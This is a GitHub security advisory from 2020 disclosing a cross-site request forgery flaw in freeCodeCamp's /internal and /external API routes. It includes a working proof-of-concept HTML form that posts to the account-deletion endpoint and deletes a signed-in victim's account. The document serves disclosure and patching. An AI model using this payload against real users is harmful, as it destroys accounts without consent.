Skip to content

[CSRF] Missing validation on API requests

Low
raisedadead published GHSA-qvm6-c326-w8px Mar 17, 2020

Package

No package listed

Affected versions

development, beta, production

Patched versions

development, beta, production

Description

Impact

CSRF vulnerability in the /internal and /external routes

POC

  1. Use the below code and save it as poc.html

     <html>
     <body>
       <script>history.pushState('', '', '/')</script>
       <form action="https://api.freecodecamp.org/internal/account/delete" method="POST">
         <input type="submit" value="Submit request" />
       </form>
     </body>
     </html>
  2. Sign in to freeCodeCamp.org

  3. Open the saved page and click on the Submit button.

  4. Your account should now have been deleted.

Patches

The problem needs to be patched by removing these routes, and validating the requests instead.

Workarounds

  • None at the minute.

References

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs